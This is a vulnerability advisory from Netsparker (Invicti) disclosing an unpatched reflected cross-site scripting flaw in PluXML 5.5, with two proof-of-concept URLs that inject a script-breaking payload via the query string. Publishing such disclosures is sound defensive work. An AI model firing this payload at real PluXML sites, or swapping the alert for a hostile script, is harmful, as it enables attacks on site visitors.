Reflected XSS Vulnerability in PluXML 5.5

Information

Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in PluXML
Affected Software: PluXML
Affected Versions: 5.5
Vendor Homepage: http://www.pluxml.org/  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-026

Technical Details

Proof of Concept URL for XSS vulnerability in PluXML 5.5;

Proof URL: /PluXml/?'"--></style></scRipt><scRipt>alert(0x001124)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001124)</scRipt>

Proof URL: /PluXml/index.php?'"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

30 Jan 2017 – Issue reported.
12 June 2017 – Advisory released.

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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